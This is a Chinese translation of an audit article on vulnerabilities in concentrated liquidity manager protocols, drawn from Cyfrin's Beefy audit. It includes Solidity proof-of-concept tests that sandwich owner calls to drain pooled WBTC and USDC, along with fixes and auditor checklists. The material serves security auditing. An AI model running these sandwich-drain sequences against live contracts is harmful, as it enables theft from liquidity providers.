本文深入探讨了集中流动性管理器(CLM)协议中存在的多种安全漏洞,包括攻击者如何通过操纵价格范围、利用TWAP参数漏洞、导致代币永久滞留、未撤销的代币授权、以及不当的协议费用更新等问题。文章还提供了一系列启发式问题,帮助审计人员在CLM协议中发现类似的安全风险。
Uniswap V3 引入了 集中流动性,允许流动性提供者 (LP) 在自定义价格范围内提供流动性。Uniswap 实现的主要限制是:
LP 奖励不会自动复利;用户必须手动领取已赚取的奖励并重新部署它们。由于 gas 费用的增加,这导致 LP 提供者的利润减少
价格范围是静态的;用户无法将流动性提供到动态价格范围中,例如持续在当前价格附近。如果当前价格移出 LP 范围,奖励将停止累积,除非用户将其流动性重新部署到新的范围中,这也会产生 gas 费用
集中流动性管理器 (CLM) 试图通过以下方式解决这两个限制:
允许用户直接将他们的 token 存入 CLM 协议,而不是 Uniswap V3
协议将所有合并的用户流动性部署到 Uniswap V3 LP 头寸中。由于只需要管理 1 个大型 LP 头寸,而不是许多较小的头寸,因此 gas 成本会降至最低,从而提高 LP 的盈利能力
协议频繁地收取 LP 奖励,将它们自动复利回到 LP 头寸中,并调整 LP 范围以继续赚取奖励
用户无需直接与 Uniswap V3 交互,也不必支付 gas 费用来持续调整其 LP 范围和自动复利费用
用户可以从协议中提取其在总流动性和奖励中的份额
虽然与直接与 Uniswap V3 交互相比,CLM 协议可以为流动性提供者提供有吸引力的好处,但它们也使流动性提供者面临额外的智能合约风险,因为它们可能包含许多有趣且危险的漏洞。
CLM 协议经常围绕当前价格重新部署其流动性头寸,以便继续赚取 LP 奖励。为了实现这一点,LP 范围通常根据 pool.slot0
计算得出,这是最新的数据点,因此容易被操纵。意识到操纵风险的协议通常会实施 TWAP 检查,以防止在池被突然操纵的情况下部署其流动性。
在 Cyfrin 的 Beefy 审计 中,我们发现了一个关键漏洞,攻击者可以通过利用 onlyCalmPeriods
TWAP 检查实施中的不对称性来耗尽协议的 token,绕过 Beefy 所有现有的池操纵缓解措施,该检查在几个 onlyOwner
函数中不存在。首先考虑这个函数,从表面上看,它似乎是一个设置参数的枯燥函数:
function setPositionWidth(int24 _width) external onlyOwner {
emit SetPositionWidth(positionWidth, _width);
_claimEarnings();
_removeLiquidity();
positionWidth = _width;
// @audit updates ticks from `pool.slot0`
// @审计 从 `pool.slot0` 更新 ticks
_setTicks();
// @audit deploys liquidity into updated
// @审计 将流动性部署到更新后的
// tick range without calling `onlyCalmPeriods`
// tick 范围,而不调用 `onlyCalmPeriods`
_addLiquidity();
}
此函数由合约所有者用于设置参数,但攻击者对此不感兴趣;感兴趣的是,此函数删除现有流动性,更新协议的 ticks,并将流动性重新部署到新的范围中,而不强制执行 TWAP 检查。因此,攻击者可以三明治攻击所有者对此函数的调用,通过迫使协议的流动性部署到不利范围内来完全耗尽协议的 token:
function test_AttackerDrainsProtocolViaSetPositionWidth() public {
// user deposits and beefy sets up its LP position
// 用户存款,beefy 设置其 LP 头寸
uint256 BEEFY_INIT_WBTC = 10e8;
uint256 BEEFY_INIT_USDC = 600000e6;
deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);
(uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();
// record beefy WBTC & USDC amounts before attack
// 记录攻击前 beefy 的 WBTC 和 USDC 数量
console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 999999998
console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
console.log();
// attacker front-runs owner call to `setPositionWidth` using
// 攻击者使用大量 USDC 抢先所有者对 `setPositionWidth` 的调用
// a large amount of USDC to buy all the WBTC. This:
// 大量 USDC 买入所有 WBTC。这:
// 1) results in Beefy LP having 0 WBTC and lots of USDC
// 1) 导致 Beefy LP 拥有 0 WBTC 和大量 USDC
// 2) massively pushes up the price of WBTC
// 2) 大幅推高 WBTC 的价格
//
// Attacker has forced Beefy to sell WBTC "low"
// 攻击者已迫使 Beefy "低价" 出售 WBTC
uint256 ATTACKER_USDC = 100000000e6;
trade(attacker, true, false, ATTACKER_USDC);
// owner calls `StrategyPassiveManagerUniswap::setPositionWidth`
// 所有者调用 `StrategyPassiveManagerUniswap::setPositionWidth`
// This is the transaction that the attacker sandwiches. The reason is that
// 这是攻击者夹击的交易。原因是
// `setPositionWidth` makes Beefy change its LP position. This will
// `setPositionWidth` 使 Beefy 更改其 LP 头寸。这将
// cause Beefy to deploy its USDC at the now much higher price range
// 导致 Beefy 以现在更高的价格范围部署其 USDC
strategy.setPositionWidth(width);
// attacker back-runs the sandwiched transaction to sell their WBTC
// 攻击者回滚夹击的交易以出售其 WBTC
// to Beefy who has deployed their USDC at the inflated price range,
// 给 Beefy,后者以虚高的价格范围部署了他们的 USDC,
// and also sells the rest of their WBTC position to the remaining LPs
// 并且将其余的 WBTC 头寸出售给剩余的 LP
// unwinding the front-run transaction
// 解开抢先交易
//
// Attacker has forced Beefy to buy WBTC "high"
// 攻击者已迫使 Beefy "高价" 购买 WBTC
trade(attacker, false, true, IERC20(token0).balanceOf(attacker));
// record beefy WBTC & USDC amounts after attack
// 记录攻击后 beefy 的 WBTC 和 USDC 数量
(uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();
// beefy has been almost completely drained of WBTC & USDC
// beefy 几乎完全耗尽了 WBTC 和 USDC
console.log("%s : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 2
console.log("%s : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 0
console.log();
uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
console.log("%s : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);
// attacker original USDC: 100000000 000000
// 攻击者原始 USDC:100000000 000000
// attacker now USDC: 101244330 209974
// 攻击者现在 USDC:101244330 209974
// attacker profit = $1,244,330 USDC
// 攻击者利润 = $1,244,330 USDC
}
其次考虑另一个易受攻击的函数;同样,这看起来像一个例行的枯燥函数,允许所有者取消暂停合约:
// liquidity has been previously removed when pausing
// 暂停时已事先移除流动性
function unpause() external onlyManager {
_giveAllowances();
_unpause();
_setTicks();
_addLiquidity();
}
这里,当合约暂停时,流动性已经被移除,因此之前的伎俩不会以完全相同的方式发挥作用,因为攻击者不能迫使协议 "低价出售"。但是,如果协议具有单边或不平衡的 LP 头寸,攻击者仍然可以迫使协议 "高价买入",这可能会被有效利用:
function test_AttackerDrainsProtocolViaUnpause() public {
// user deposits and beefy sets up its LP position
// 用户存款,beefy 设置其 LP 头寸
uint256 BEEFY_INIT_WBTC = 0;
uint256 BEEFY_INIT_USDC = 600000e6;
deposit(user, true, BEEFY_INIT_WBTC, BEEFY_INIT_USDC);
// owner pauses contract
// 所有者暂停合约
strategy.panic(0, 0);
(uint256 beefyBeforeWBTCBal, uint256 beefyBeforeUSDCBal) = strategy.balances();
// record beefy WBTC & USDC amounts before attack
// 记录攻击前 beefy 的 WBTC 和 USDC 数量
console.log("%s : %d", "LP WBTC Before Attack", beefyBeforeWBTCBal); // 0
console.log("%s : %d", "LP USDC Before Attack", beefyBeforeUSDCBal); // 599999999999
console.log();
// owner decides to unpause contract
// 所有者决定取消暂停合约
//
// attacker front-runs owner call to `unpause` using
// 攻击者使用大量 USDC 抢先所有者对 `unpause` 的调用
// a large amount of USDC to buy all the WBTC. This
// 大量 USDC 买入所有 WBTC。这
// massively pushes up the price of WBTC
// 大幅推高 WBTC 的价格
uint256 ATTACKER_USDC = 100000000e6;
trade(attacker, true, false, ATTACKER_USDC);
// owner calls `StrategyPassiveManagerUniswap::unpause`
// 所有者调用 `StrategyPassiveManagerUniswap::unpause`
// This is the transaction that the attacker sandwiches. The reason is that
// 这是攻击者夹击的交易。原因是
// `unpause` makes Beefy change its LP position. This will
// `unpause` 使 Beefy 更改其 LP 头寸。这将
// cause Beefy to deploy its USDC at the now much higher price range
// 导致 Beefy 以现在更高的价格范围部署其 USDC
strategy.unpause();
// attacker back-runs the sandwiched transaction to sell their WBTC
// 攻击者回滚夹击的交易以出售其 WBTC
// to Beefy who has deployed their USDC at the inflated price range,
// 给 Beefy,后者以虚高的价格范围部署了他们的 USDC,
// and also sells the rest of their WBTC position to the remaining LPs
// 并且将其余的 WBTC 头寸出售给剩余的 LP
// unwinding the front-run transaction
// 解开抢先交易
//
// Attacker has forced Beefy to buy WBTC "high"
// 攻击者已迫使 Beefy "高价" 购买 WBTC
trade(attacker, false, true, IERC20(token0).balanceOf(attacker));
// record beefy WBTC & USDC amounts after attack
// 记录攻击后 beefy 的 WBTC 和 USDC 数量
(uint256 beefyAfterWBTCBal, uint256 beefyAfterUSDCBal) = strategy.balances();
// beefy has been almost completely drained of USDC
// beefy 几乎完全耗尽了 USDC
console.log("%s : %d", "LP WBTC After Attack", beefyAfterWBTCBal); // 0
console.log("%s : %d", "LP USDC After Attack", beefyAfterUSDCBal); // 126790
console.log();
uint256 attackerUsdcBal = IERC20(token1).balanceOf(attacker);
console.log("%s : %d", "Attacker USDC profit", attackerUsdcBal-ATTACKER_USDC);
// attacker profit = $548,527 USDC
// 攻击者利润 = $548,527 USDC
}
智能合约审计 应该仔细检查每个更新刻度范围和部署流动性的函数,以验证是否存在用于池操纵的 TWAP 检查。虽然该检查可能存在于常见且明显的函数中,但可能存在一些不太常用的函数来设置参数,从而发生疏忽。更多示例:[ 1]
如前所述,TWAP 检查对于保护 CLM 协议免受池操纵攻击至关重要。然而,即使 TWAP 检查在所有更新刻度并部署流动性的函数中都正确应用,如果所有者更新其参数以降低其有效性,则 TWAP 检查本身可能会失效。
在 Cyfrin 的 Beefy 审计中,关键的协议不变量之一是合约所有者不应该能够 rug-pull 用户的存款 token。我们发现所有者可以通过操纵两个关键参数 maxDeviation
和 twapInterval
轻松实现这一点,从而使 TWAP 检查失效,因为这两个关键参数可以设置为任何任意值。
类似的协议 Gamma Strategies 被使用这种精确的方法利用,因为某些 vault 上的价格偏差阈值过高。针对此攻击媒介的潜在缓解策略包括:
将所有所有者函数置于时间锁定的多重签名之后
对关键 TWAP 检查参数强制执行最小值/最大值,使其不能设置为任意值
审计师应仔细审查 TWAP 检查中使用了哪些参数,以及合约所有者是否可以将这些参数设置为可能导致 TWAP 检查失效的任意值。协议部署后,协议所有者必须谨慎地为每个池设置适当的 TWAP 参数。
由于 CLM 协议可以由多个合约组成,因此智能合约开发人员和审计师应仔细考虑 token 在合约之间的流动以及 token 应该累积的位置。不应累积 token 的合约应具有定义的不变量,并通过有状态的模糊测试来验证其 token 余额是否保持为零。
在 Cyfrin 的 Beefy 审计中,我们注意到,由于划分过程中的四舍五入,[某些 token 从未分配,而是会累积在合约内部,在那里它们将被永久卡住](https://solodit.xyz/issues/native-tokens-permanently stuck-in-strategypassivemanageruniswap-contract-due-to-rounding-in-_chargefees-cyfrin-none-cyfrin-beefy-finance-markdown):
// @audit rounding during division = stuck tokens
// @审计 四舍五入 = 卡住的 token
//
// Distribute the native earned to the appropriate addresses.
// 将本地赚取的 token 分配给适当的地址。
uint256 callFeeAmount = nativeEarned * fees.call / DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);
uint256 beefyFeeAmount = nativeEarned * fees.beefy / DIVISOR;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);
uint256 strategistFeeAmount = nativeEarned * fees.strategist / DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);
虽然每次的数量都很小,但由于该协议旨在在 20 多个链上持续运行,因此永久卡住的 token 数量会随着时间的推移而累积。在我们的不变性模糊测试套件中,这个简单的 Echidna 不变性能够识别出问题:
// INVARIANT 3) Strategy contract doesn't accrue native tokens
// 不变量 3) 策略合约不累积本地 token
function property_strategy_native_tokens_balance_zero() public returns(bool) {
uint256 bal = IERC20(native).balanceOf(address(strategy));
emit TestDebugUIntOutput(bal);
return bal == 0;
}
智能合约开发人员应通过始终分配剩余的部分来处理不完美的除法;上面的代码可以重构,以将费用中剩余的所有内容分配给 Beefy 协议,如下所示:
uint256 callFeeAmount = nativeEarned * fees.call / DIVISOR;
IERC20Metadata(native).safeTransfer(_callFeeRecipient, callFeeAmount);
uint256 strategistFeeAmount = nativeEarned * fees.strategist / DIVISOR;
IERC20Metadata(native).safeTransfer(strategist, strategistFeeAmount);
uint256 beefyFeeAmount = nativeEarned - callFeeAmount - strategistFeeAmount;
IERC20Metadata(native).safeTransfer(beefyFeeRecipient, beefyFeeAmount);
更多示例:[ 1]
许多协议(包括 CLM 协议)都包含更新重要地址的函数;通常这些函数看起来非常简单。然而,只有考虑更新这些地址如何影响协议的不同状态,才能揭示其简单外观所隐藏的潜在问题。考虑一下 Cyfrin 的 Beefy 审计中的这个简单函数:
function setUnirouter(address _unirouter) external onlyOwner {
unirouter = _unirouter;
emit SetUnirouter(_unirouter);
}
虽然这个函数看起来非常简单,但只有在考虑这个函数如何与协议可能处于的不同状态交互时,才能发现潜在的问题。例如,考虑 Beefy 给 unirouter
无限制的 token 授权:
function _giveAllowances() private {
IERC20Metadata(lpToken0).forceApprove(unirouter, type(uint256).max);
IERC20Metadata(lpToken1).forceApprove(unirouter, type(uint256).max);
}
由于在更新路由器地址之前未删除授权,因此 旧路由器仍然可以继续花费协议的 token。
智能合约审计师应验证在更新路由器地址之前,CLM 协议是否撤销了已授予现有路由器的任何 token 授权。
CLM 协议旨在通过对 LP 奖励收取百分比的 "管理" 费来实现盈利。为了保持竞争力,合约所有者通常有能力增加或减少此费用。在 Cyfrin 的 Beefy 审计中,我们发现:
合约所有者可以随时更改费用
只有在调用 harvest
函数时才会收集 LP 奖励
这允许协议进入一种状态,即管理费增加,并且下次调用 harvest
时,更高的费用会追溯适用于在先前较低费用制度下待处理的 LP 奖励。
这允许协议所有者追溯更改费用结构,以窃取待处理的 LP 奖励,而不是将其分配给协议用户。此外,追溯应用费用对协议用户是不公平的,因为这些用户将他们的流动性存入协议并在先前的费用水平下生成了 LP 奖励。
智能合约审计师应验证在更新现有费用结构之前,是否已收集待处理的 LP 奖励,并对其收取当前费用。更多示例:[ 1]
智能合约审计师和开发人员在审计和开发 CLM 协议时,可以考虑验证一些其他不变量是否成立:
当 burning > 0 份额时,withdraw 应返回 > 0 token
当 depositing > 0 token 时,deposit 应返回 > 0 份额
以下问题可能有助于审计师在 CLM 协议中找到类似的漏洞:
我可以强制协议将其流动性部署到不利范围内吗?我可以强迫它 "低买高卖" 吗?
在应该对称的地方是否存在不对称?如果一个检查发生在很多地方,但在一两个地方不存在,则后果是什么?
是否存在在许多地方观察到但在一个地方缺失的编码模式?如果是这样,后果是什么?
攻击者或其他参与者是否可以通过抢先或夹击任何外部或公共函数来损害协议?
对协议安全至关重要的参数是否可以设置为任意值?如果是这样,如果设置为极小或极大值,它们是否仍然提供相同的保护?
协议是否向目标合约提供支出授权,但具有允许更新目标合约地址的函数,而无需首先撤销授权?
更一般地说,协议是否在另一个合约中拥有资源(token、费用等),但具有允许更新目标合约地址的函数,而无需首先收回这些资源?
如果协议收取费用,是否可以更新收取的费用?如果可以,更新后的费用是否会追溯适用于未领取的奖励?
- 原文链接: dacian.me/concentrated-l...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!